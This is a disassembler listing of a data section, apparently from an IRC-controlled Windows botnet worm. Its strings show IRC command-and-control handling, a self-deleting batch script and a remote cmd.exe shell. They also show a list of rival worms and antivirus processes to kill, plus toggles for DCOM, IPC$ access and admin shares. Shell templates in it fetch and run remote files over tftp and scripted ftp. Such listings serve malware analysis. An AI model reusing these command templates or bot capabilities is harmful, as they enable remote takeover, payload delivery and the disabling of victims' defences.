.nsp0:0044EBC0o align 4 aZ_2: ; DATA XREF: .nsp0:0044EBC4o unicode 0, <z>,0 aG_1: ; DATA XREF: .nsp0:0044EBC8o unicode 0, <g>,0 aS_34: ; DATA XREF: .nsp0:0044EBCCo unicode 0, <s>,0 aQ_2: ; DATA XREF: .nsp0:0044EBD0o unicode 0, <q>,0 off_44F398 dd offset loc_425241+1 ; DATA XREF: .nsp0:0044EBD4o dword_44F39C dd 6C62627Ch, 0 ; DATA XREF: .nsp0:0044EBD8o dword_44F3A4 dd 5F7C5Fh ; DATA XREF: .nsp0:0044EBE4o dword_44F3A8 dd 46h ; DATA XREF: .nsp0:0044EBF8o dword_44F3AC dd 4Dh ; DATA XREF: .nsp0:0044EBFCo aLuvu db 'LUVU',0 ; DATA XREF: .nsp0:0044EC00o align 4 aSad db 'Sad',0 ; DATA XREF: .nsp0:0044EC04o aF_1 db '^^^f^',0 ; DATA XREF: .nsp0:0044EC08o align 4 aB_1: ; DATA XREF: .nsp0:0044EC0Co unicode 0, <b>,0 aSleeping db 'Sleeping',0 ; DATA XREF: .nsp0:0044EC14o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .nsp0:0044EC20o align 4 aFree_1 db 'Free',0 ; DATA XREF: .nsp0:0044EC24o align 4 asc_44F3E4: ; DATA XREF: .nsp0:0044EC30o unicode 0, <X>,0 aBoy db 'BOY',0 ; DATA XREF: .nsp0:0044EC38o aGirl_1 db 'GIRL',0 ; DATA XREF: .nsp0:0044EC3Co align 4 aGurl db 'gurl',0 ; DATA XREF: .nsp0:0044EC40o align 4 aShit_0 db 'shit',0 ; DATA XREF: .nsp0:0044EC44o align 4 aAha db 'aha',0 ; DATA XREF: .nsp0:0044EC48o aYeah db 'yeah',0 ; DATA XREF: .nsp0:0044EC4Co align 10h aMuha db 'muha',0 ; DATA XREF: .nsp0:0044EC50o align 4 aMof0 db 'mof0',0 ; DATA XREF: .nsp0:0044EC54o align 10h aMofo db 'mofo',0 ; DATA XREF: .nsp0:0044EC58o align 4 aTot_0 db 'tot',0 ; DATA XREF: .nsp0:0044EC5Co aLol_0 db 'lol',0 ; DATA XREF: .nsp0:0044EC60o aLoloA db 'lolo|a|',0 ; DATA XREF: .nsp0:0044EC64o aSex4free db '|sex4free|',0 ; DATA XREF: .nsp0:0044EC68o align 4 a4us db '|4us|',0 ; DATA XREF: .nsp0:0044EC6Co align 4 a4you db '{4you}',0 ; DATA XREF: .nsp0:0044EC70o align 4 a4u db '|4u|',0 ; DATA XREF: .nsp0:0044EC74o align 4 a5u db '5u',0 ; DATA XREF: .nsp0:0044EC78o align 10h a6u db '6u',0 ; DATA XREF: .nsp0:0044EC7Co align 4 asc_44F464: ; DATA XREF: sub_415357+6o dw 0Ah unicode 0, <>,0 asc_44F468: ; DATA XREF: sub_41539E+Co unicode 0, < >,0 asc_44F46C: ; DATA XREF: sub_41539E:loc_4153C4o unicode 0, < >,0 aPing_1 db 'PING',0 ; DATA XREF: sub_41539E+52o align 4 aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_41539E+69o align 4 a433 db '433',0 ; DATA XREF: sub_41539E:loc_415417o a432 db '432',0 ; DATA XREF: sub_41539E+8Ao aNickS_8 db 'NICK %s',0Ah,0 ; DATA XREF: sub_41539E+C5o align 4 aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_415497+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__2 db '-|`_\{[]}',0 ; DATA XREF: sub_4156B7+BCo ; sub_4156B7+175r ... align 4 dword_44F4D4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .nsp0:00415BA4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44F520 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .nsp0:00415BE3o ; --------------------------------------------------------------------------- loc_44F53C: ; DATA XREF: .nsp0:00415C18o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_44F550 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: .nsp0:00415C3Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415ECC+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_415F91+5o align 10h aMirc_3 db 'mIRC',0 ; DATA XREF: sub_415F91+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_416016+1Co align 4 aSS_5 db '%s %s',0 ; DATA XREF: .nsp0:004160FCo align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_416138+2o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41615A+48o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41615A+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41615A+140o align 4 dword_44F61C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4162E2+5Co dd 65726165h, 64h unk_44F638 db 2Dh ; - ; DATA XREF: sub_4162E2+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 10h unk_44F660 db 2Dh ; - ; DATA XREF: sub_4162E2+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00416442o aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: .nsp0:0041646Bo db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_4164D5+58o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_4164D5+65o align 10h off_44F730 dd offset dword_44F784 ; DATA XREF: sub_4165F2+6Dr ; sub_4169D6+50r ... off_44F734 dd offset aAdded ; DATA XREF: sub_4165F2+2Dr ; sub_4169D6+82r ... ; "Added" dword_44F738 dd 0 ; DATA XREF: sub_4165F2+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_1 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 44F7D0h, 44F7D8h, 2, 44F7E0h, 44F7ECh, 3 dword_44F784 dd 646441h ; DATA XREF: .nsp0:off_44F730o aAdded db 'Added',0 ; DATA XREF: .nsp0:off_44F734o align 10h aDelete_1 db 'Delete',0 ; DATA XREF: .nsp0:0044F73Co align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0044F740o aList_1 db 'List',0 ; DATA XREF: .nsp0:0044F748o align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:0044F74Co align 10h aStart_1 db 'Start',0 ; DATA XREF: .nsp0:0044F754o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:0044F758o aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:0044F760o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0044F764o aPause_0 db 'Pause',0 align 4 aPaused db 'Paused',0 align 10h aContinue_1 db 'Continue',0 align 4 aContinued db 'Continued',0 align 4 unk_44F7F8 db 2Dh ; - ; DATA XREF: sub_4165F2+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_44F814 db 2Dh ; - ; DATA XREF: sub_4165F2+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_44F840 db 2Dh ; - ; DATA XREF: sub_4165F2+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_41671B:loc_4167F4o align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_41671B:loc_416775o aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41671B+3Co align 4 aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41671B:loc_41676Bo align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_41671B:loc_41677Fo aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_41671B:loc_4167C9o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41671B+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_41671B:loc_4167FBo db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_41671B:loc_416802o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41671B:loc_416809o align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_41671B:loc_416810o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_41671B:loc_416817o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_41671B:loc_41681Eo align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_41671B:loc_4167B4o align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_41671B:loc_4167BBo db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_41671B:loc_416789o db 'dependent on it.',0 align 10h aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_41671B:loc_416761o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_41671B:loc_4167C2o db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_41671B:loc_416825o db 'the state of the service.',0 align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41671B:loc_41682Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41671B:loc_416833o align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41671B+12Co align 10h aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_416899+25o align 10h aStopped db ' Stopped',0 ; DATA XREF: sub_416899:loc_416965o aStarting db ' Starting',0 ; DATA XREF: sub_416899:loc_41695Eo aStoping db ' Stoping',0 ; DATA XREF: sub_416899:loc_416957o aRunning_0 db ' Running',0 ; DATA XREF: sub_416899:loc_416950o aContinuing db ' Continuing',0 ; DATA XREF: sub_416899:loc_416949o aPausing db ' Pausing',0 ; DATA XREF: sub_416899:loc_416942o aPaused_0 db ' Paused',0 ; DATA XREF: sub_416899:loc_41693Bo aUnknown_2 db ' Unknown',0 ; DATA XREF: sub_416899+9Bo aSSS_1 db '%s: %s (%s)',0 ; DATA XREF: sub_416899+EBo dword_44FD9C dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_4169D6+89o dd 73252720h, 27h unk_44FDB8 db 2Dh ; - ; DATA XREF: sub_4169D6+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 unk_44FDE4 db 2Dh ; - ; DATA XREF: sub_4169D6+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_416BCB+26o align 10h aYes db 'Yes',0 ; DATA XREF: sub_416BCB+B5o aNo db 'No',0 ; DATA XREF: sub_416BCB+BCo align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_416BCB+D0o align 10h unk_44FE60 db 2Dh ; - ; DATA XREF: sub_416BCB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 unk_44FE88 db 2Dh ; - ; DATA XREF: sub_416CEC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_44FEA8 db 2Dh ; - ; DATA XREF: sub_416CEC+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_44FED8 db 2Dh ; - ; DATA XREF: sub_416CEC+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_416E32+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_416E32+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_416E32+ACo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_416E32+D4o aGuest db 'Guest',0 ; DATA XREF: sub_416E32:loc_416F4Bo align 4 aUser_2 db 'User',0 ; DATA XREF: sub_416E32:loc_416F44o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_416E32:loc_416F3Do align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_416E32+104o aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_416E32+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_416E32+14Do align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_416E32+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_416E32+1A0o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_416E32+1CBo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_416E32+1F3o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_416E32+21Eo align 10h aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_416E32+246o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_416E32+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_416E32+299o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_416E32+2C4o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_416E32+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_416E32+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_416E32+33Fo align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_416E32+36Ao align 4 unk_450088 db 2Dh ; - ; DATA XREF: sub_416E32+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_417200+29o unk_4500D0 db 2Dh ; - ; DATA XREF: sub_417200+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_35 db ' %S',0 ; DATA XREF: sub_417200+BEo align 4 unk_450104 db 2Dh ; - ; DATA XREF: sub_417200+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_417200+14Fo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_417380:loc_4173E3o align 10h aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_417380:loc_417424o aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_417380:loc_4173EDo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_417380+3Bo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_417380:loc_4173D9o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_417380:loc_4173CFo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_417380:loc_4173C5o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_417380:loc_41748Fo align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_417380+89o align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_417380:loc_417413o align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_417380:loc_41741Do aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_417380:loc_417488o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_417380+CFo db ' the domain.',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_417380:loc_41745Do align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_417380:loc_417456o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_417380:loc_417464o db 'ord policy requirement.)',0 align 4 aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_417380:loc_41749Do align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_417380:loc_41742Bo aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_417380:loc_417496o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_417380:loc_417481o align 10h unk_450400 db 2Dh ; - ; DATA XREF: sub_4174B4+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_450428 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_4174B4+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h dword_450454 dd 7530h ; DATA XREF: sub_417935+12r off_450458 dd offset dword_4504B8 ; DATA XREF: sub_4175DD+CBo dd offset dword_4504C4 dd offset dword_4504D4 dd offset dword_4504E0 dd offset dword_4504EC dd offset dword_4504F8 dd offset dword_450504 dd offset dword_450514 dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dword_4504B8 dd 65676572h, 2E746964h, 657865h ; DATA XREF: sub_4175DD+ECo ; .nsp0:off_450458o dword_4504C4 dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: .nsp0:0045045Co dword_4504D4 dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: .nsp0:00450460o dword_4504E0 dd 6C62736Dh, 2E747361h, 657865h ; DATA XREF: .nsp0:00450464o dword_4504EC dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: .nsp0:00450468o dword_4504F8 dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: .nsp0:0045046Co dword_450504 dd 6176616Eh, 32337770h, 6578652Eh, 0 ; DATA XREF: .nsp0:00450470o dword_450514 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h ; DATA XREF: .nsp0:00450474o aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00450478o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0045047Co align 10h aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .nsp0:00450480o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .nsp0:00450484o aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: .nsp0:00450488o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .nsp0:0045048Co aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .nsp0:00450490o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .nsp0:00450494o aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .nsp0:00450498o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .nsp0:0045049Co align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .nsp0:004504A0o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .nsp0:004504A4o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .nsp0:004504A8o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .nsp0:004504ACo align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .nsp0:004504B0o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .nsp0:004504B4o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+5Ao align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_4175DD+17Do align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4175DD+18Bo align 10h aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_4175DD+19Fo align 4 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+207o align 10h unk_450650 db 2Dh ; - ; DATA XREF: sub_417820+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_450670 db 2Dh ; - ; DATA XREF: sub_417820+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_450694 db 2Dh ; - ; DATA XREF: sub_417820:loc_4178A7o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 aPrivmsgSS_2 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4179BD+33o aS_24 db '%s',0 ; DATA XREF: sub_4179BD+4Co align 4 unk_4506CC db 2Dh ; - ; DATA XREF: sub_417A44:loc_417B2Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_4506FC db 2Dh ; - ; DATA XREF: sub_417A44+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_450724 db 2Dh ; - ; DATA XREF: sub_417A44:loc_417B76o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_417B99+20o unk_45075C db 2Dh ; - ; DATA XREF: sub_417B99+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h unk_450780 db 2Dh ; - ; DATA XREF: sub_417B99+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 8 off_4507B8 dd offset dword_4507D8 ; DATA XREF: sub_417DB1+1B3o ; sub_4180D5+179o align 10h dd offset dword_4507E0 align 8 off_4507C8 dd offset dword_4507E8 ; DATA XREF: sub_4180D5+1E1o dd offset dword_4507EC dd offset dword_4507F0 dd offset dword_4507F4 dword_4507D8 dd 24435049h, 0 ; DATA XREF: sub_417DB1+217o ; .nsp0:off_4507B8o dword_4507E0 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:004507C0o dword_4507E8 dd 2443h ; DATA XREF: .nsp0:off_4507C8o dword_4507EC dd 5C3A43h ; DATA XREF: .nsp0:004507CCo dword_4507F0 dd 2444h ; DATA XREF: .nsp0:004507D0o dword_4507F4 dd 5C3A44h ; DATA XREF: .nsp0:004507D4o word_4507F8 dw 4Eh ; DATA XREF: sub_417DB1+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_417DB1+54o align 4 dword_450808 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 dword_45082C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_417DB1:loc_417E1Eo dd 62617369h, 2E64656Ch, 0 dword_45084C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_417DB1+EDo align 10h dword_450890 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 dword_4508CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EBEo aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_450900 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EDCo aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_45093C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EE3o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_45096C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_450990 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_418013o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_4509BC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_4509E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417F80o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_450A0C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_450A34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+2E5o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_450A64 dw 59h ; DATA XREF: sub_4180D5+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_4180D5+54o align 4 dword_450A74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 dword_450A98 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_4180D5:loc_418142o dd 6C62616Eh, 2E6465h dword_450AB4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+91o aFailedToOpen_0 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_4180D5+EDo align 4 dword_450AF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_450B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_4181DEo aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_450B70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_4181FCo aFailedToOpen_1 db '- Failed to open IPC$ restriction registry key.',0 dword_450BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_418203o aAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_450BDC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+192o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_450BFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_41826Eo aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 aC_2 db '%c$',0 ; DATA XREF: sub_4180D5+216o aC_3 db '%c:\',0 ; DATA XREF: sub_4180D5+227o align 10h dword_450C30 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+263o aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 dword_450C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_41833Fo aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 dword_450C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+2C0o aNetworkSharesA db '- 